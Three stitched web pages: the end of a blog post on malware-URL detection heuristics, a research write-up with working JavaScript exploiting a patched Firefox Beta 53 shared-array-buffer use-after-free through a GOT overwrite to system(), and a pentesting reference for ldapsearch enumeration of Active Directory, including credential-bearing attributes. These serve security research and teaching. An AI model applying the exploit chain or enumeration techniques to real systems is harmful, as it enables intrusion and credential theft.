also detect anti-disassembling, for example? Perhaps you get 51 files per day.
It can be that my heuristic is bad but I would not recommend spending too much
time on it.

**ClamAV found malware**

As simply as it sounds: ClamAV found malware in the contents of that URL.
That’s all, it simply adds 3 points to the total score in case something was
found. I use the Python bindings for ClamAV called pyclamd. I can use one more
AV engines/products. Or perhaps a lot of them. Or perhaps another 3rd party
“free” service like OpSwat Metascan \(or VirusTotal, which is better\) but…
how many URLs are detected this way? A big number of them but not so many. Do
you want to add also false positives from more than one AV vendor? I don’t.
But this is only my opinion.

**Similar malware**

This heuristic uses a set of algorithms to cluster unknown malware executables
\(PE & ELF\). It uses Pyew and the algorithms implemented in the Pyew’s tool
gcluster. If the file \(contents\) under analysis is an executable file and
via these graph based malware clusterization algorithms it looks too similar
\(or equal\) to a previously known malware I add 3 points to the score of the
URL. <SPAM>Similar but more new and advanced algorithms were implemented in
the CAMAL clustering engine, a commercial product</SPAM>.

While this heuristic is working, take a look to the percentage of new malware
URLs discovered: 3.5% of the total. A lot of work for just the 3.5%. May be
it’s a problem of my algorithms, I don’t know. But… I don’t think.

**Similar domain**

A rather simplistic, even when it seems not, heuristic: if the domain looks
too similar to one domain in the first 100.000 records of the Alexa’s Top 1
Million the score is increased by 1. Why? What about a domain named yutuve?
What about guugle? Likely being used in a phising campaign or distributing
malware.

At first the heuristic used a pure Python implementation of the soundex
algorithm. After a while I switched to the SOUNDEX function in MySQL. Results
of this heuristic: 3.3%. At least it wasn’t that hard to implement…

**All the other heuristics**

There are other 2 heuristics I implemented, I still use but I do no maintain
and I have no interest in maintaining them at all:

  1. Suspicious JavaScript. Basically, a pattern matching technique finding for “eval”, “document.write”, “setInterval”, “unescape”, etc… If the patterns are discovered the score is increased by 1. I decided not to loose time adding more “advanced” malicious JavaScript heuristics. The reason? Because it would require a lot of work that must be updated daily. Too much work for a “just for fun” project.
  2. Known bad URL parameter. Pattern matching, again. During some time I had a system to group and extract some of the most common special URL parameter and file names and then use them as another evidence. I do not maintain this list any more for the same reasons as the previous heuristic. If you want to see some examples: the rules “/bot.exe” or “/.\*\(update|install\).\*flash.\*player.\*\\.exe” were the ones finding more samples.

**Conclusions and possible future work**

Detecting malicious content is not easy and requires a lot of work. Detecting
more than 50% of the \(dumb\) malicious URLs and samples is easy. Detecting
something bigger than 70% is a big work. Detecting something similar to 75%
requires, in my very subjective opinion, more effort than what you spent for
detecting all the previous 70% of samples. If you ever blamed $AV for not
detecting this or that relatively new malware sample, please think about all
the work that must be done to catch that new family.

As for possible future improvements of Malware Intelligence, if at all, I’m
thinking about integrating one more tool of mine: MultiAV. It’s a simple
interface to various AV products using the command line scanners to get the
detection over a file, directory, etc… Also, I have other heuristics on mind,
but no one of them is easy and this is a project that I do during my spare
time when I feel like spending some hours on it.

The source code for URLAna, as an independent tool, will be published \(once I
clean it up and all the code specific to my system is removed\) in the next
months \(when I have time\). In any case, with all the details given in this
blog post one can implement it \(surely better than my prototype-that-grown-a-
lot\) easily.

I hope you liked this post and that you find it useful. Perhaps it may even
help you improving your analysis systems or you can borrow some ideas for
another project <img src='img/Temp2_3806.png' alt=';)' /> Also, if you have
any idea to improve that system I would be very happy to read/heard about it
<img src='img/Temp2_3808.png' alt=':)' />

Cheers\!

This entry was posted in Uncategorized on August 19, 2014 by joxean.

### Post navigation

A vulnerability that wasn’t

##  One thought on “Heuristics to detect malware distributed via Web”

  1. **Txalin** August 22, 2014 at 8:32 am
Very good article, i found some ideas from your work to be applied, thanks\!\!
And also, some suggestions if you don’t mind <img src='img/Temp2_3807.png'
alt=':P' />

Regarding the Third party services, i suggest you as an improve what i do in
my custom blacklist \(private use only, too ugly to show in public\). What i
do in first steps is to check URL against http://www.urlvoid.com and assign
weights based on the number of detections \(if it has been detected by just
one blacklist == weight 1, if has been detected by 10 blacklists == weight 10,
etc… \), and also i do the same with virustotal. The main idea is to avoid
trigger the alarm if one url has been detected by just one av engine. Overall
i could say that it works quite well.

Regards

### Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked

Name

Email

Website

Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong> `

# Share with care: Exploiting a Firefox UAF with shared array buffers -
phoenhex team

**Created:**| _6/29/2017 4:06:38 PM_  
---|---  
**Updated:**| _6/29/2017 4:06:38 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Share with care: Exploiting a Firefox UAF with shared array buffers

Jun 21, 2017 • By bkth, eboda

This blog post explores a reference leak that occurs during the handling of
shared arrary buffers by the structured clone algorithm. Coupled with a
missing overflow check, it can be leveraged to achieve arbitrary code
execution. Both issues were discovered by saelo and the corresponding bug
report is available on Bugzilla.

The document is divided into the following sections:

  * Background
  * Vulnerabilities
  * Exploitation
  * Conclusion

Our exploit will target **Firefox Beta 53 on Linux**. It is important to note
that the release version of Firefox was never affected by this bug since
shared array buffers are disabled up to Firefox 52 and disabled by default on
Firefox 53 due to this bug. The full exploit is available here.

# Background

The vulnerability and exploit require some basic understanding of the
structured clone algorithm \(from here on abbreviated as SCA\) and shared
array buffers, which are introduced in this section.

## Structured clone algorithm

The documentation on the Mozilla Developer Network states:

> The structured clone algorithm is a new algorithm defined by the HTML5
> specification for serializing complex JavaScript objects.
SCA is used for Spidermonkey-internal serializations in order to pass objects
between different contexts. Contrary to JSON it is capable of resolving
circular references. In the browser the serialization and deserialization
functionality are used by `postMessage()`:

The `postMessage()` function can be used in two situations:

  * When doing \(possibly cross-origin\) communication via `window.postMessage()`.
  * When communicating with web workers, which is a convenient way to execute JavaScript code in parallel.

A simple workflow with a worker would look like:

[code]

    var w = new Worker('worker_script.js');
    var obj = { msg: "Hello world!" };
    w.postMessage(obj);
    
[/code]

The corresponding worker script `worker_script.js` can then receive `obj` by
registering an `onmessage` listener:

[code]

    this.onmessage = function(msg) {
        var obj = msg;
        // do something with obj now
    };
    
[/code]

The workflow for communication between different windows is similar. In both
cases the receiving scripts execute in different global contexts and as such
have no access to objects of the sender’s context. Therefore objects need to
be somehow transferred and recreated inside the receiving script’s context. To
achieve this, SCA will serialize `obj` in the sender’s context and deserialize
it again in the receiver’s context, thereby creating a copy of it.

The code of the SCA can be found inside the file
js/src/vm/StructuredClone.cpp. Two main structures are defined:
`JSStructuredCloneReader` and `JSStructuredCloneWriter`. The methods of
`JSStructuredCloneReader` deal with deserializing objects inside the receiving
thread’s context while the methods of `JSStructuredCloneWriter` deal with the
serialization of objects inside the sending thread’s context. The main
function taking care of serializing objects is
`JSStructuredCloneWriter::startWrite()`:

[code]

    bool
    JSStructuredCloneWriter::startWrite(HandleValue v)
    {
        if (v.isString()) {
            return writeString(SCTAG_STRING, v.toString());
        } else if (v.isInt32()) {
            return out.writePair(SCTAG_INT32, v.toInt32());
    
        [...]
    
        } else if (v.isObject()) {
    
            [...]
    
            } else if (JS_IsTypedArrayObject(obj)) {
                return writeTypedArray(obj);
            } else if (JS_IsDataViewObject(obj)) {
                return writeDataView(obj);
            } else if (JS_IsArrayBufferObject(obj) && JS_ArrayBufferHasData(obj)) {
                return writeArrayBuffer(obj);
            } else if (JS_IsSharedArrayBufferObject(obj)) {
                return writeSharedArrayBuffer(obj);     //  [[  1  ]]
            } else if (cls == ESClass::Object) {
                return traverseObject(obj);
    
            [...]
    
        }
    
        return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);
    }
    
[/code]

Depending on the type of the object, it will either directly serialize it if
it is a primitive type or call functions to handle further serialization based
on the object type. These functions make sure that any properties or array
elements are recursively serialized as well. Of interest will be the case when
`obj` is a `SharedArrayBufferObject` and the execution ends up in the function
call to `JSStructuredCloneWriter::writeSharedArrayBuffer()` \(at \[\[ 1
\]\]\).

Finally, if the provided value is neither a primitive type nor a serializable
object, it will simply throw an error. The deserialization works pretty much
the same way, it will take the serialization as input and create new objects
and allocate memory for them.

## Shared array buffers

Shared array buffers provide a way to create shared memory that can be passed
between and accessed across contexts. They are implemented by the
`SharedArrayBufferObject` C++ class and inherit from `NativeObject`, which is
the base class to represent most JavaScript objects. They have the following
abstract representation \(if you look at the source code yourself you will see
that it is not explicity defined like this, but it will help understand the
memory layouts described later in the article\):

[code]

    class SharedArrayBufferObject {
    
       js::GCPtrObjectGroup group_;
    
       GCPtrShape shape_; // used for storing property names
    
       js::HeapSlot* slots_; // used to store named properties
    
       js::HeapSlot* elements_; // used to store dense elements
    
       js::SharedArrayRawBuffer* rawbuf; // pointer to the shared memory
    
    }
    
[/code]

`rawbuf` is a pointer to a `SharedArrayRawBuffer` object which holds the
underlying memory buffer. `SharedArrayBufferObject`s will be recreated as new
objects in the receiving worker’s context when being sent via `postMessage()`.
The `SharedArrayRawBuffer`s on the other hand are shared between the different
contexts. Therefore all copies of a single `SharedArrayBufferObject` have
their `rawbuf` property pointing to the same `SharedArrayRawBuffer` object.
For memory management purposes the `SharedArrayRawBuffer` contains a reference
counter `refcount_`:

[code]

    class SharedArrayRawBuffer
    {
    
        mozilla::Atomic<uint32_t, mozilla::ReleaseAcquire> refcount_;
    
        uint32_t length
    
        bool preparedForAsmJS;
    
        [...]
    }
    
[/code]

The reference counter `refcount_` keeps track of how many
`SharedArrayBufferObject`s point to it. It is incremented inside the
`JSStructuredCloneWriter::writeSharedArrayBuffer()` function when serializing
a `SharedArrayBufferObject` and is decremented in the finalizer of
`SharedArrayBufferObject`:

[code]

    bool
    JSStructuredCloneWriter::writeSharedArrayBuffer(HandleObject obj)
    {
        if (!cloneDataPolicy.isSharedArrayBufferAllowed()) {
            JS_ReportErrorNumberASCII(context(), GetErrorMessage, nullptr, JSMSG_SC_NOT_CLONABLE,
                                      "SharedArrayBuffer");
            return false;
        }
    
        Rooted<SharedArrayBufferObject*> sharedArrayBuffer(context(), &CheckedUnwrap(obj)->as<SharedArrayBufferObject>());
        SharedArrayRawBuffer* rawbuf = sharedArrayBuffer->rawBufferObject();
    
        // Avoids a race condition where the parent thread frees the buffer
        // before the child has accepted the transferable.
        rawbuf->addReference();
    
        intptr_t p = reinterpret_cast<intptr_t>(rawbuf);
        return out.writePair(SCTAG_SHARED_ARRAY_BUFFER_OBJECT, static_cast<uint32_t>(sizeof(p))) &&
               out.writeBytes(&p, sizeof(p));
    }
    
[/code]

[code]

    void
    SharedArrayBufferObject::Finalize(FreeOp* fop, JSObject* obj)
        MOZ_ASSERT(fop->maybeOffMainThread());
    
        SharedArrayBufferObject& buf = obj->as<SharedArrayBufferObject>();
    
        // Detect the case of failure during SharedArrayBufferObject creation,
        // which causes a SharedArrayRawBuffer to never be attached.
        Value v = buf.getReservedSlot(RAWBUF_SLOT);
        if (!v.isUndefined()) {
            buf.rawBufferObject()->dropReference();         // refcount_ decremented here
            buf.dropRawBuffer();
        }
    }
    
[/code]

`SharedArrayRawBuffer::dropReference()` will then check if no more references
exist and free the underlying memory in that case.

# Vulnerabilities

There are two distinct bugs, which on their own would most likely not be
exploitable, but coupled together allow for code execution.

## Integer overflow of `SharedArrayRawBuffer::refcount_`

The `refcount_` property of the `SharedArrayRawBuffer` is not protected
against an integer overflow:

[code]

    void
    SharedArrayRawBuffer::addReference()
    {
       MOZ_ASSERT(this->refcount_ > 0);
       ++this->refcount_; // Atomic.
    }
    
[/code]

This function is called during serialization in
`JSStructeredCloneWriter::writeSharedArrayBuffer`:

[code]

    bool
    JSStructuredCloneWriter::writeSharedArrayBuffer(HandleObject obj)
    {
    
       if (!cloneDataPolicy.isSharedArrayBufferAllowed()) {
           JS_ReportErrorNumberASCII(context(), GetErrorMessage, nullptr, JSMSG_SC_NOT_CLONABLE,
                                     "SharedArrayBuffer");
           return false;
       }
    
       Rooted<SharedArrayBufferObject*> sharedArrayBuffer(context(), &CheckedUnwrap(obj)->as<SharedArrayBufferObject>());
       SharedArrayRawBuffer* rawbuf = sharedArrayBuffer->rawBufferObject();
    
       // Avoids a race condition where the parent thread frees the buffer
       // before the child has accepted the transferable.
       rawbuf->addReference();
    
       intptr_t p = reinterpret_cast<intptr_t>(rawbuf);
       return out.writePair(SCTAG_SHARED_ARRAY_BUFFER_OBJECT, static_cast<uint32_t>(sizeof(p))) &&
              out.writeBytes(&p, sizeof(p));
    }
    
[/code]

The code simply increments `refcount_` and
`SharedArrayRawBuffer::addReference()` fails to validate that it does not
overflow and become 0. Recall that `refcount_` is defined as a `uint32_t`
integer, which means the above code path would have to be triggered 2³² times
in order to overflow it. The main problem here is that each call to
`postMessage()` will create a copy of the `SharedArrayBufferObject` and
thereby allocate 0x20 bytes of memory. The current heap limit for Firefox is
4GB, the overflow as described would require 128GB though, making it
unexploitable.

## Reference leak inside the SCA

Unfortunately though, there is another bug that allows us to bypass the memory
requirements. Recall that `postMessage()` first serializes and then
deserializes the object. The copy of the object is created during the
deserialization process, but the `refcount_` increment actually happens during
the serialization already\! If `postMessage()` fails after serializing a
`SharedArrayBufferObject` but before deserializing, no copy of
`SharedArrayBufferObject` will be created, even though `refcount_` was
incremented.

Looking back at the serialization, there is a simple way to let it fail:

[code]

    bool
    JSStructuredCloneWriter::startWrite(HandleValue v)
    {
        if (v.isString()) {
            return writeString(SCTAG_STRING, v.toString());
        } else if (v.isInt32()) {
            return out.writePair(SCTAG_INT32, v.toInt32());
    
        [...]
    
        } else if (v.isObject()) {
    
            [...]
    
        }
    
        return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);
    }
    
[/code]

If the object to be serialized is neither a primitive type nor an object
supported by the SCA, the serialization will simply throw a
`JS_SCERR_UNSUPPORTED_TYPE` error and deserialization \(which includes the
memory allocation\) never happens\! Here is a simple PoC which will increase
the `refcount_` without actually copying the `SharedArrayBuffer`:

[code]

    var w = new Worker('example.js');
    var sab = new SharedArrayBuffer(0x100);         // refcount_ of its SharedArrayRawBuffer is 1 here
    
    try {
        w.postMessage([sab, function() {}]);        // serializes sab, but then: error !
    } catch (e) {
        // ignore serialization errors :)
    }
    
[/code]

An array containing one `SharedArrayBuffer` and one function is serialized.
The SCA will first serialize the array, then recursively serialize the
`SharedArrayBuffer` \(thereby incrementing the `refcount_` of its raw buffer\)
and finally the function. However, function serialization is not be supported
and an error is thrown, not allowing the deserialize process to create copies
of the objects. Now `refcount_` is 2, but only one `SharedArrayBuffer` is
actually pointing to the raw buffer. Using this reference leak `refcount_` can
be overflown without actually allocating any additional memory.

# Exploitation

While the memory requirements are solved, triggering the bug still requires
2³² calls to `postMessage()`. This might take several hours on a modern
machine to execute. To achieve a reasonable execution time for the exploit the
bug needs to be triggered faster.

## Improving performance

A simple way of reducing the number of calls to `postMessage()` is to
serialize several `sab` with each call:

[code]

    w.postMessage([sab, sab, sab, ..., sab, function() {}]);
    
[/code]

Unfortunately \(for us\) the SCA supports backreferences and it would not
actually increment `refcount_` more than once, but instead serialize every
`sab` as backreference to the first one. Therefore distinct copies of `sab`
are required for this method to work. In fact, they can be created by using
`postMessage()` as well:

[code]

    var SAB_SIZE = 0x1000000;
    var sab = new SharedArrayBuffer(SAB_SIZE);
    var copies = [ sab ];
    window.onmessage = function (msg) {
        copies = copies.concat(msg);
        // copies array now contains [ sab, sab2 ]; , where sab2 is a copy of sab
    };
    
    window.postMessage(copies);
    
[/code]

An array containing a single `sab` is sent to the script itself and when it
\(its copy to be exact\!\) is received, it is added to the existing `copies`
array. There are now two distinct objects in `copies` pointing to the same
`SharedArrayRawBuffer`. By repeatedly copying the `copies` array we can
efficiently obtain a large amount of copies. In our exploit we create 0x10000
copies \(which requires 16 calls to `postMessage()`\). Then we use these
copies to do the reference leak, bringing the required number of calls to
`postMessage()` down to 2³² / 0x10000 = 65536.

Further performance increases can be achieved by exploiting the reference leak
in parallel using several web workers to take advantage of all cpu cores. Each
worker receives a copy of the 0x10000 shared array buffers and then will
execute the reference leak in a simple loop:

[code]

        for (var i = 0; i < how_many; i++) {
            try {
                postMessage([sabs, function(){}]);
            } catch (e) { }
        }
    
[/code]

Once it executed `how_many` times, it will report back to the main script that
it has finished. If all workers have finished, `refcount_` should have
overflown and hold the value 1 now. By deleting one `sab`, `refcount_` will be
0 and the shared raw buffer will get freed during the next garbage collection.
What will happen in the exploit is that one `SharedArrayBufferObject` will be
garbage collected which will in turn call `dropReference()`. This will
effectively decrement the reference count to `0` which will trigger a free on
the raw buffer:

[code]

        // free one worker
        delete copies[1];
    
        // trigger majorGC, this will decrement `refcount_` and thus free the raw buffer
        do_gc();
    
[/code]

A possible implementation for `do_gc()` can be found here.

At this point the `SharedArrayRawBuffer` is freed, but references to it are
still stored in the `sab`s, allowing read/write access to the freed memory and
potentially resulting in a use-after-free situation.

## Turning a use-after-free into a read/write primitive

As we now hold references to freed memory, we can allocate a large number of
objects in order to allocate target objects in the memory to which we still
have a reference. At one point the allocator will request more memory through
`mmap` and the `munmap`ed memory from the `SharedArrayRawBuffer` will be
returned. To turn this into an arbitrary read/write primitive `ArrayBuffer`
objects can be used. These objects contain a pointer to a memory region where
the actual array contents lie. If an `ArrayBuffer` is allocated inside the
previously freed memory, this pointer can be overwritten to point to any
memory we desire.

To do this we allocate a large number of `ArrayBuffer`s of size 0x60. This is
the largest size where the underlying buffer will still be stored inline
directly after the header of the `ArrayBuffer`. By marking each one with a
magic value of 0x13371337 and then later looking for the first occurrence of
that value, we will be able to find the exact location of the `ArrayBuffer`:

[code]

    var ALLOCS = 0x100000;
    buffers = []
    for (i=0; i<ALLOCS; i++) {
        buffers[i] = new ArrayBuffer(0x60);     // store reference to the buffer
        view = new Uint32Array(buffers[i]);     // mark the buffer with a magic value
        view[0] = 0x13371337,
    }
    
[/code]

At this point some of these buffers should be allocated inside the previously
freed memory from the `SharedArrayRawBuffer` to which we still hold a
reference. Using that reference we look for the magic value 0x13371337. Once
we found it, we mark it with a different magic value 0x13381338 and save its
offset:

[code]

    var sab_view = new Uint32Array(sab);        // sab is the reference to one of the SharedArrayBuffer
    
    //look for first buffer that is allocated over our sab memory and mark it
    for (i=0; i < SAB_SIZE/32; i++) {
    
        // check for the magic value
        if (sab_view[i] == 0x13371337) {
            sab_view[i] = 0x13381338;
            ptr_overwrite_idx = i;          // save the offset
            break;
        }
    }
    
[/code]

We iterate one last time over all the allocated `ArrayBuffer`s and look for
the magic value 0x13381338 to find the exact `ArrayBuffer` which corresponds
to the offset we just found above:

[code]

    // look for the index of the marked buffer
    for (i = 0; i < ALLOCS; i++) {
        view = new Uint32Array(buffers[i]);
        if (view[0] == 0x13381338) {
            ptr_access_idx = i;             // save the index of the ArrayBuffer
            break;
        }
    }
    
[/code]

Finally `buffers[ptr_access_idx]` is the `ArrayBuffer` whose memory can be
controlled by modifying `sab_view[ptr_overwrite_idx]` \(plus/minus some
offset\).

Recall that the array content lies inline right after the header, which means
the header starts at `sab_view[ptr_overwrite_idx-16]`. The pointer to the
array buffer can thus be overwritten by writing to
`sab_view[ptr_overwrite_idx-8]` and `sab_view[ptr_overwrite_idx-7]` \(writing
64bit pointer as two 32 bit values\). Once that pointer is overwritten,
`buffers[ptr_access_idx][0]` allows to read or write a 32-bit value at the
chosen location.

## Achieving arbitrary code execution

Once arbitrary read/write access to the memory is available, we need a way to
control `RIP`. As `libxul.so` – the shared object which contains most of the
browser code, including Spidermonkey – is not compiled with full `RELRO`,
global offset table \(GOT\) entries can be overwritten in order to redirect
the code flow.

First, we need to leak the location of `libxul.so` in memory. To do that we
can simply leak the function pointer of any native function, like `Date.now()`
for example. Functions are represented internally with a `JSFunction` object
and store the address of their native implementation. In order to leak that
pointer, the function can be set as a property of the `ArrayBuffer` which so
far has been used for the memory read/write. Following a short chain of
pointers, the native pointer into `libxul.so` can be finally leaked. We won’t
go into details on how the object properties are organized in memory as there
is an already excellent Phrack paper written by argp on this subject. Now that
we have the address of `Date.now()` inside `libxul.so`, we can use hardcoded
offsets for the `libxul.so` shipped with the precompiled Firefox Beta 53 in
order to get the address of the GOT.

Finally we overwrite a function in the GOT with the libc address of `system()`
\(leaked from `libxul.so` as well, see our exploit for details\). In the
exploit we use `Uint8Array.copyWithin()` which in turn calls `memmove` on a
string we control, therefore overwriting `memmove@GOT` will execute `system`:

[code]

    var target = new Uint8Array(100);
    var cmd = "/usr/bin/gnome-calculator &";
    
    for (var i = 0; i < cmd.length; i++) {
        target[i] = cmd.charCodeAt(i);
    }
    target[cmd.length] = 0;
    
    memmove_backup = memory.read(memmove_got);
    memory.write(memmove_got, system_libc);
    target.copyWithin(0, 1);                // executes system(cmd);
    memory.write(memmove_got, memmove_backup);
    
[/code]

This technique is inspired by saelo’s exploit for the feuerfuchs challenge
from the 33C3 CTF.

When running the exploit, we are finally greeted by our calculator:

<img src='img/Temp2_7469.png' width='746' height='412' alt='pwned' />

# Conclusion

The fix for the overflow is straight-forward and has been implemented in
commit `d4b0fe7948`. The code added takes care of catching the overflow and
reports an error upon detecting it. The fix for the reference leak was
implemented in commit `c86b9cb593`.

The original estimate for this bug was that it would take 4 hours to trigger
the overflow in a release build. However, using multiple workers to speed up
the process, the exploit takes about 6-7 minutes to reliably pop gnome-
calculator on a machine with 8 logical processors. Make sure to check out the
final exploit.

show Disqus comments

  

# LDAPSearch Reference :: malicious.link — welcome

**Created:**| _5/15/2022 4:33:04 PM_  
---|---  
**Updated:**| _5/15/2022 4:33:04 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## LDAPSearch Reference

Published: 14 May 2022 - 11:00 -0500

`ldapsearch` is a extremely powerful tool, especially for Windows Active
Directory enumeration. It’s one of my primary tools when performing pentesting
or red teaming against an environment with Active Directory, but also comes in
quiet handy to know as many times it can come default installed or part of a
base image, so its a bit Living-Off-The-Land-esq. Another point towards
ldapsearch is that it’s easy to forget that Active Directory isn’t the only
LDAP server in most environments and the ability to utilize a tool like this
can come in extremely handy.

If you want to find Active Directory LDAP servers, use the following command:

[code]

    $ dig -t SRV _ldap._tcp.dc._msdcs.sittingduck.info
    
[/code]

### Basic Usage

  * `-x` Basic Authentication, you usually use this if you are going to include a username and password \(instead of something like a kerberos ticket\)
  * `-h` IP address or hostname
  * `-H` URL to force protocol and/or add port number `-H ldaps://dc1.b.com` or `-H ldaps://dc1.b.com:6636` \(636 is the default port for LDAPS, but can be connected to on 389 and is sometimes found with an additional 6 in the front as shown\). `3269` is the Global Catalog port and can also accept LDAPS queries sometimes \(you may have to ignore cert errors for this to work, depending on your setup\).
  * `-b` Base, generally this is Distinguished Name format for example `dc=google,dc=com`
  * `-D` Username and Domain \(not FQDN\) `"sittingduckuberuser"`. For maximum Kerberos based authentication you can also specify your user in `uberuser@SITTINGDUCK.INFO` form, but ldapsearch will auto user the current user in Kerberos tickets available, so this can be omitted
  * `-LLL` This removes all of the extra log output of the search
  * `-Y GSSAPI` Used for Kerberos based authentication, however this is on by default and not needed \(if installed\), but you can specify it just to test to see if SASL is installed. `apt install libsasl2-modules-gssapi-mit` if it isn’t. Once installed, you do not need to keep this on the command line.
  * `-E` is for extended controls which are generally OIDs, but can also be:
  * `-E pr=1000/noprompt` By default `ldapsearch` will pull 1000 records maximum. Adding this it will pull 1000 records at a time until it has printed all results to the screen.
  * `-O minssf=0,maxssf=0` This option will fix some errors during SASL \(Kerberos\) authentication. Technically this shouldn’t do anything based on the RFC, but it’s essentially telling the LDAP protocol that there isn’t a min or a max size for the authentication packets.
  * `-o ldif-wrap=no` This options makes the output non-wrapped, which is the best format to pull out things like certificates and other very long strings.
  * `-W` and `-w` \- `-W` will prompt for the password, with `-w` you can specify the password on the command line. If you do not specify one of these `ldapsearch` will assume no password for the account. You can lock accounts out this way.
  * `LDAPTLS_REQCERT=never ldapsearch {arguments}` This is used when you are connecting to a self signed, or SSL enabled LDAP that your system cannot verify the certificate for.
  * `-N` Do not try to have the host name of your target DC attempted to perform a reverse DNS on the IP to match them. This is needed when the Domain Controller doesn’t have a valid reverse DNS record from your standpoint on the network and you are using Kerberos.

### LDAP Search Filters

After the arguments comes the filter, then the attributes. Filters are like
search terms. For example `"(ms-Mcs-AdmPwdExpirationTtime=*)"` is a search
that says if the LDAP object has the `ms-Mcs-AdmPwdExpirationTtime` attribute
and it’s not empty. LDAP filters are a bit odd, as they need to be within
parentheses completely. In order to do a search for `x` AND `y` you have to do
something like this `(&(x=*)(y=*))`. This search says only return results that
have `x` and `y` and both are not empty. Here is a real world example:

[code]

    "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
    
[/code]

This says all objects that have `servicesPrincipalName` attributes, it is a
normal account \(512\) see more here AND is NOT `!` disabled \(2\).

Note: `1.2.840.113556.1.4.803` is an LDAP feature that says
`LDAP_MATCHING_RULE_BIT_AND` which is basically a bitwise `AND`. For example,
a standard user account is `512` but would be `514` if disabled, but a
computer account is `4096` and `4098` if disabled. Used the bitwise function
you can account for both scenarios since it’s looking in the `2` binary
location.

Everything after the filter is selection of attributes. \(also known as
“parameters” if you are used to Powershell and AD Objects\)

### Interesting Attributes

  * `msDS-Approx-Immed-Subordinates` \- Gives you a count of objects directly below the specified “Base” `-b`
  * `NTSecurityDescriptor` \- This is the SDSF in binary and base64 format, and will only be displayed if you request it specifically for the object.
  * `msDS-ManagedPassword` \- This is a at-runtime built attribute that is the current NT hash of the Group Managed Service Account GMSA. **\!WARNING\!** See below before querying.
  * `msFVE-RecoveryPassword` \- This is also an at-runtine built attribute that is the current BitLocker secret key for the computer account you query. **\!WARNING\!** See below before querying.

### Null Session Starting

This can be done without any authentication and will give you a ton of
information about the LDAP server in question \(usually Active Directory\):

[code]

    $ ldapsearch -h 192.168.80.100 -x -b "" -s base * +
    
[/code]

#### Example Output

[code]

    # extended LDIF
    #
    # LDAPv3
    # base <> with scope baseObject
    # filter: (objectclass=*)
    # requesting: * + 
    #
    
    #
    dn:
    currentTime: 20220513212748.0Z
    subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=sittingduck,DC=i
     nfo
    dsServiceName: CN=NTDS Settings,CN=DC2,CN=Servers,CN=Default-First-Site-Name,C
     N=Sites,CN=Configuration,DC=sittingduck,DC=info
    namingContexts: DC=sittingduck,DC=info
    namingContexts: CN=Configuration,DC=sittingduck,DC=info
    namingContexts: CN=Schema,CN=Configuration,DC=sittingduck,DC=info
    namingContexts: DC=DomainDnsZones,DC=sittingduck,DC=info
    namingContexts: DC=ForestDnsZones,DC=sittingduck,DC=info
    defaultNamingContext: DC=sittingduck,DC=info
    schemaNamingContext: CN=Schema,CN=Configuration,DC=sittingduck,DC=info
    configurationNamingContext: CN=Configuration,DC=sittingduck,DC=info
    rootDomainNamingContext: DC=sittingduck,DC=info
    supportedControl: 1.2.840.113556.1.4.319
    supportedControl: 1.2.840.113556.1.4.801
    supportedControl: 1.2.840.113556.1.4.473
    supportedControl: 1.2.840.113556.1.4.528
    supportedControl: 1.2.840.113556.1.4.417
    supportedControl: 1.2.840.113556.1.4.619
    supportedControl: 1.2.840.113556.1.4.841
    supportedControl: 1.2.840.113556.1.4.529
    supportedControl: 1.2.840.113556.1.4.805
    supportedControl: 1.2.840.113556.1.4.521
    supportedControl: 1.2.840.113556.1.4.970
    supportedControl: 1.2.840.113556.1.4.1338
    supportedControl: 1.2.840.113556.1.4.474
    supportedControl: 1.2.840.113556.1.4.1339
    supportedControl: 1.2.840.113556.1.4.1340
    supportedControl: 1.2.840.113556.1.4.1413
    supportedControl: 2.16.840.1.113730.3.4.9
    supportedControl: 2.16.840.1.113730.3.4.10
    supportedControl: 1.2.840.113556.1.4.1504
    supportedControl: 1.2.840.113556.1.4.1852
    supportedControl: 1.2.840.113556.1.4.802
    supportedControl: 1.2.840.113556.1.4.1907
    supportedControl: 1.2.840.113556.1.4.1948
    supportedControl: 1.2.840.113556.1.4.1974
    supportedControl: 1.2.840.113556.1.4.1341
    supportedControl: 1.2.840.113556.1.4.2026
    supportedControl: 1.2.840.113556.1.4.2064
    supportedControl: 1.2.840.113556.1.4.2065
    supportedControl: 1.2.840.113556.1.4.2066
    supportedControl: 1.2.840.113556.1.4.2090
    supportedControl: 1.2.840.113556.1.4.2205
    supportedControl: 1.2.840.113556.1.4.2204
    supportedControl: 1.2.840.113556.1.4.2206
    supportedControl: 1.2.840.113556.1.4.2211
    supportedControl: 1.2.840.113556.1.4.2239
    supportedControl: 1.2.840.113556.1.4.2255
    supportedControl: 1.2.840.113556.1.4.2256
    supportedLDAPVersion: 3
    supportedLDAPVersion: 2
    supportedLDAPPolicies: MaxPoolThreads
    supportedLDAPPolicies: MaxPercentDirSyncRequests
    supportedLDAPPolicies: MaxDatagramRecv
    supportedLDAPPolicies: MaxReceiveBuffer
    supportedLDAPPolicies: InitRecvTimeout
    supportedLDAPPolicies: MaxConnections
    supportedLDAPPolicies: MaxConnIdleTime
    supportedLDAPPolicies: MaxPageSize
    supportedLDAPPolicies: MaxBatchReturnMessages
    supportedLDAPPolicies: MaxQueryDuration
    supportedLDAPPolicies: MaxTempTableSize
    supportedLDAPPolicies: MaxResultSetSize
    supportedLDAPPolicies: MinResultSets
    supportedLDAPPolicies: MaxResultSetsPerConn
    supportedLDAPPolicies: MaxNotificationPerConn
    supportedLDAPPolicies: MaxValRange
    supportedLDAPPolicies: MaxValRangeTransitive
    supportedLDAPPolicies: ThreadMemoryLimit
    supportedLDAPPolicies: SystemMemoryLimitPercent
    highestCommittedUSN: 2830648
    supportedSASLMechanisms: GSSAPI
    supportedSASLMechanisms: GSS-SPNEGO
    supportedSASLMechanisms: EXTERNAL
    supportedSASLMechanisms: DIGEST-MD5
    dnsHostName: dc2.sittingduck.info
    ldapServiceName: sittingduck.info:dc2$@SITTINGDUCK.INFO
    serverName: CN=DC2,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configura
     tion,DC=sittingduck,DC=info
